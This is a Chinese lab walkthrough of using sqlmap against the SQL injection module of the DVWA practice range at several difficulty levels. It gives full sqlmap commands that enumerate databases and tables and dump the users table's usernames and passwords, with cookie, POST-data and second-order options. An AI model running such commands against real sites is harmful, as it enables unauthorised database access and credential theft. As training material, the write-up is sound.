这是一次基于DVWA靶场下sql injection的对sqlmap的测试
low等级
先输入一个1进去查看反应
发现还是有反应的,并且url中也有体现,直接输入命令
sqlmap -u " //测试的网址url// "
在sqlmap跑的过程中会有一些需要选择的地方,直接无脑选y回车就行
从这里可以看到存在注入点
开始注入
sqlmap -u " //测试的网址url// " --dbs
爆出数据库名
继续
sqlmap -u " //测试的网址url// " -D dvwa --tables
这时候没有爆出结果
按理是有结果的,尝试抓包发现里面同时还会传一个cookie值
在命令后加入cookie参数
sqlmap -u " //测试的网址url// " -cookie=" /抓到的cookie值/ " -D dvwa --tables
查询到两个表,我们要获得的信息应存储在users中,继续查询
sqlmap -u " //测试的网址url// " -cookie=" /抓到的cookie值/ " -D dvwa -T users --columns
得到
继续爆出用户名和密码
sqlmap -u " //测试的网址url// " -cookie=" /抓到的cookie值/ " -D dvwa -T users -C user,password --dump
注意遇到选择选y,直到遇到
这个选y会很慢,意思是 是否要使用通用密码后缀? 选n即可
得到结果
这时候对于我们来说这个网站的后台数据库已经被我们完全掌握,sqlmap会将查询到的内容直接显示出来
Midium
观察url发现这个难度的环境是post方式传参并非get,通过抓包发现
于是我们要稍微修改刚才的命令
sqlmap -u " //测试的网址url// " -data="id=1&Submit=Submit" -cookie=" /抓到的cookie值/ " -D dvwa -T users -C user,password --dump
总体跟上面相同,加个data即可
High
这个发现输入框会新出现一个对话框,同时也是post方式
这时候我们需要用到联合查询命令‘second-url’本质就是同时对两个页面注入
sqlmap -u " //新打开的提交数据页面url// " -data=" /抓到的返回值/ " --second-u=" /原本的显示数据页面url/ " -cookie=" /cookie值/ " -D dvwa -T users -C user,password --dump
总体跟上面大致相同,加入--second-u即可
Impossible
总体观察一下是get方式但是url最后加了一个用户令牌,后端进行了验证,顾名思义,impossible,不可能的,博主能力不够也就到此为止了吧